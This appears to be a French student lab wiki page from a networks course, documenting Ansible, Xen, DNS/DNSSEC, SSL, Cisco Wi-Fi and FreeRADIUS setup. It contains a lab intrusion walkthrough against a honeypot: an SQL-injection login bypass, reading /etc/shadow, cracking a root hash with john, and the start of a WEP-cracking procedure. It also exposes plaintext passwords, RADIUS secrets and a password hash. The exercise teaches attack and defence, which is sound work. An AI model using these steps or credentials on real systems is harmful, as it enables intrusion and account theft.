Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54986</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54986"/>
				<updated>2020-12-18T18:59:46Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
